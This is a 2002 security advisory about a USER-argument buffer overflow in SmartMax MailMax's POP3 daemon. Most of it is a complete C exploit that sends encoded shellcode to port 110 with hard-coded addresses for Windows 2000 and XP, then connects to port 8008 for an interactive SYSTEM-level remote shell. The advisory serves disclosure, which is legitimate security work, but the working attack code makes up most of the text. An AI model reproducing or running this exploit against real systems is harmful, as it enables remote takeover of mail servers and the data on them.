24th Jul 2002 [SBWID-5550]
COMMAND
SmartMax Software's MailMax pop3 daemon remote overflow on USER
argument
SYSTEMS AFFECTED
MailMax Professional/Standard, All Versions
PROBLEM
In 2c79cbe14ac7d0b8472d3f129fa1df55 security advisory [#4] :
MailMax's POP3 daemon, 'popmax', does not perform proper bounds
checking on the 'USER' argument resulting in the possibility of
crashing the service or remotely manipulating local registers to the
end of altering execution flow somewhere sinister..
#EXPLOITATION
unfortunately, we do not get eip right out of the box here.. but with
buffers of various sizes we can get eax, ecx, and edx.. edx being the
most useful as shown below..
CALL [EDX+0C] @RVA413A08
so now we just need to drop the rva of our shell that we'd like to call
into memory somewhere (-0C of course)..
I wrote this exploit awhile ago, it's not dynamic as we are exploiting
a pointer, so we can't just simply jmp to a register.. so instead I
just repeated the shellcode rva that hits on my 3 test machines many
times on every dword prior to the payload.. meaning we are depending on
2 static memory addresses.. there is probably a better way of doing
this, but I don't care enough..
/*
mmaxexp.c
July 20th, 2002
SmartMax MailMax Standard/Professional 4.8
http://www.smartmax.com
an overflow is present in the USER argument of
the pop3max daemon.. however, we do not get eip..
but with buffers of various sizes we can get
eax, ecx, and edx.. edx being the most useful as
shown below..
CALL [EDX+0C] @RVA413A08
so now we just need to drop the rva of our shell
that we'd like to call into memory somewhere
(-0C of course)..see CALL
YAY!@$!
2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>
/* Windows 2000 Professional/Server */
char EDX2k[] = "\x30\xd7\x68\x06";
char CALL2k[] = "\xec\xd9\x68\x06";
/* Windows XP Professional */
char EDXxp[] = "\x30\xd7\x25\x06";
char CALLxp[] = "\xec\xd9\x25\x06";
/* we repeat the payload ptr on every */
/* dword prior to our target rva in */
/* order to increase those sexy odds */
char shell[2205];
char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";
char payload[] ="\x55\x8b\xec"
"\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
"\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
"\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
"\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
"\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
"\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
"\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
"\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
"\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
"\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
"\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
"\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
"\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
"\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
"\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
"\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
"\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
"\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
"\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
"\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
"\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
"\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
"\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
"\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
"\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
"\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
"\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
"\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
"\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
"\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
"\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
"\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
"\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
"\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
"\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
"\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
"\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
"\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
"\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
"\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
"\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
"\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
"\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
"\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
"\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
"\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
"\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
"\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
"\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
"\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
"\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
"\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
"\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
"\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
"\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
"\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
"\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
"\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
"\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
"\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
"\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
"\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
"\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
"\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
"\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
"\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
"\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
"\x0d\x0a";
main(char argc, char **argv){
int fd, i, opt;
int bufsize = 1024;
int *buffer = (int *)malloc(bufsize);
struct sockaddr_in sin;
struct hostent *he;
struct in_addr in;
printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");
if (argc < 4){
printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
printf("types: 0 - Windows 2000 Professional/Server\n");
printf(" 1 - Windows XP Professional\n\n");
exit(-1);
}
while ((opt = getopt(argc, argv, "t:"))){
switch(opt){
case 't':
if(optarg[0] == '0'){
strcpy(shell, header);
for(i = 1;i < 247;i++){
strcat(shell, CALL2k);
}
strcat(shell, EDX2k);
strcat(shell, payload);
break;
}
if(optarg[0] == '1'){
strcpy(shell, header);
for(i = 1; i < 247;i++){
strcat(shell, CALLxp);
}
strcat(shell, EDXxp);
strcat(shell, payload);
break;
}
printf("invalid type\n\n");
printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
printf(" 1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
exit(-1);
}
break;
}
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
else
if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
sin.sin_port = htons(110);
printf("connecting to tcp port 110 (POP3)...\n");
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
printf("connected.\n\n");
sleep(1);
printf("dumping payload...");
if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
printf("done\n");
printf("code dumped.\n\n");
close(fd);
if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(8008);
printf("connecting to tcp port 8008... (wait 3s)\n");
sleep(3);
if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}
printf("success! izn0wnz3rat3d!\n\n");
while(1) {
fd_set input;
FD_SET(0,&input);
FD_SET(fd,&input);
if((select(fd+1,&input,NULL,NULL,NULL))<0) {
if(errno==EINTR) continue;
printf("connection reset\n"); fflush(stdout);
exit(1);
}
if(FD_ISSET(fd,&input))
write(1,buffer,read(fd,buffer,bufsize));
if(FD_ISSET(0,&input))
write(fd,buffer,read(0,buffer,bufsize));
}
close(fd);
}
SOLUTION
Check ftp://ftp.smartmax.com/pub/Upgrades/ for updates, none yet.
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